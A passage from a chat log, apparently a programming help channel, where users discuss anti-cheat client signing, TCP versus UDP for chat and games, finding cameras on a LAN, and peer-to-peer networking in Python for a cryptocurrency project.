like rsa signature or something? I feel like that could be faked though

slender steeple
#

@upbeat forge no

#

if you use a rsa sig the private key's going to be visible in the source

upbeat forge
#

Hmmm

#

Could I have the key update every time a client connects? That would be very hard to fake

#

A server side private key

slender steeple
#

if there was a simple fix, then cheating in games wouldn't be this prevalent

upbeat forge
#

oh wait

slender steeple
#

how do you get the client to sign something without the private key

upbeat forge
#

Yep that's what i just realized

#

Yep I don't see a solution to that

slender steeple
#

the only solution is to validate anything the client sends

upbeat forge
#

mhm

#

If the professionals cant figure out how to do that I doubt I can

#

Client would only be able to verify server

#

Also if I were to make a chatroom what protocol should I use? TCP VOIP or what?

eager river
#

i would use TCP for text or updates etc and UDP for voice/video. but many people dont recommend mixing up tcp+udp and they recommend going for a mixture of unreliable udp + reliable udp. but whatever is the easier one you should go for it

#

yeah, and shouldnt assume the client program is valid. the crucial calculations must be made on server-side and you can add quite plenty of tweaks to check whether the client-sent data is valid

#

personally i would use TCP-only for everything else besides VOIP and fast-paced games like FPS

#

you can have quite fast-paced games in TCP too, for example many MMOs like WoW use only TCP

#

(I guess TCP is the main reason why WoW is quite forgiving when it comes to positioning and casting spells)

steel sorrel
#

Is it possible to list all camera devies in your lan using python?

storm saffron
#

Well what kind of devices

#

There's no magic camera port or whatever but you could look for a web portal or something

mental saddle
#

anyone want to join a team in developing a game. We are 2 weeks in and looking for one more familiar with sockets

shut roost
#

I think you can use opencv to check for cameras @steel sorrel

astral matrix
#

@mental saddle could u dm me with some details

mental saddle
#

sure

storm saffron
#

@shut roost that's for cameras connected to the local computer

steel sorrel
#

What kind of web portal ? Can you explain me in detail please @storm saffron

storm saffron
#

Well there's no simple answer

#

Like trying to tell if there is a Welsh person on your LAN

#

You could check for Welsh things in Bluetooth device namea

#

Or maybe look at files on a NAS

#

There's just no one thing that would let you see if there's a camera on the network

#

When I was talking about with the portal is like

#

That's one thing a camera might do

#

You might be able to view the feed

ember ledge
#

Hey there, whats a good module for networking? Specifically Peer to Peer.
Please do ping me when you reply ๐Ÿ™‚ thanks!

storm saffron
#

what kind of networking @ember ledge

ember ledge
#

Peer to Peer

storm saffron
#

if you just want to do TCP/UDP communication then the python sockets module is fine

#

right but

#

tcp

#

udp

#

http

#

ip

#

lots of possibilities

ember ledge
#

whats the difference between tcp and udp?

storm saffron
#

TCP packets are guaranteed to retry

#

i.e. it will keep trying til the other end says it has arrived

#

UDP isn't

#

HTTP is like a web request, so GET or POST or similar

#

IP is below TCP and UDP, pretty much just sending individual packets across the network

#

there are a lot of complicating factors to this both modern and old

#

but that's the gist of it

#

what kind of thing do you want to accomplish

ember ledge
#

@balmy field HTTP

storm saffron
#

wrong seagull lol

#

but i'm still here

shy pebble
#

http seems ill-suited for p2p

storm saffron
#

peer to peer http is tricky because that requires a full web server to be set up

#

yep

#

what do you want to use the peer-to-peer for though

ember ledge
#

@storm saffron Im doing a project with 10 people , were making a cryptocurrency based on a new method